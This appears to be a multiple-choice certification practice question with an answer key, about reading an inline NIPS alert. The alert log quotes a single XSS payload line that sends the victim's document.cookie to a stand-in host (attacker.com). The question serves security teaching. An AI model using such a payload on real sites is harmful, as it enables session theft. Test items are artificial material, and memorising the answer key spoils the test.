Examkin

Question

Difficulty: MediumNetwork Security Monitoring and Alerting

A network security analyst reviews an alert generated by an inline Network Intrusion Prevention System (NIPS) deployed at the enterprise boundary. The alert log displays the following HTTP request payload captured during an inbound connection:

`GET /profile.php?user=<script>document.location='http://attacker.com/steal.cgi?cookie='+document.cookie</script> HTTP/1.1`

Immediately following this log entry, the NIPS triggered an automated active response that dropped the TCP stream and blocked the remote source IP address for 60 minutes. Which of the following statements correctly identifies the vector of this attack and characterizes the primary security control function demonstrated by the NIPS?

  1. The payload represents a Cross-Site Scripting (XSS) attack vector, and the NIPS executed a preventive control by stopping the malicious traffic inline.Answer
  2. B
    The payload represents a SQL Injection (SQLi) attack vector, and the NIPS executed a detective control by logging the threat to the SIEM without altering traffic flow.
  3. C
    The payload represents a Cross-Site Scripting (XSS) attack vector, but the NIPS acted as a deception control designed to entice and analyze threat actor tactics in a honeypot environment.
  4. D
    The payload represents a SQL Injection (SQLi) attack vector, and the appropriate mitigation control is establishing air-gapped network segmentation for the web server.

Answer

The payload represents a Cross-Site Scripting (XSS) attack vector, and the NIPS executed a preventive control by stopping the malicious traffic inline.
The correct response identifies the payload containing JavaScript tags (`<script>`) as a Cross-Site Scripting (XSS) attempt designed to steal session cookies. Because the inline NIPS actively dropped the packet stream and blocked the source IP, it functioned as a preventive control rather than merely detecting or logging the event.

Step-by-Step Solution

1
Analyze the request payload in the NIPS log entry.
The payload `<script>document.location=...</script>` attempts client-side JavaScript execution, characteristic of Cross-Site Scripting (XSS).
Identifying HTML script tags attempting cookie exfiltration differentiates XSS from database manipulation techniques like SQL Injection.
2
Evaluate the control action executed by the NIPS.
The NIPS dropped the TCP stream and blocked the remote source IP address inline.
Active mechanisms that interdict and block malicious traffic before reaching the destination perform a preventive security function.

Key Concept

Network Intrusion Prevention Systems (NIPS) provide active inline prevention against application-layer attacks like Cross-Site Scripting (XSS).
Estimated Time:1m 30s
Rate this question

Topics

Network Security Monitoring and Alerting

More questions from this topic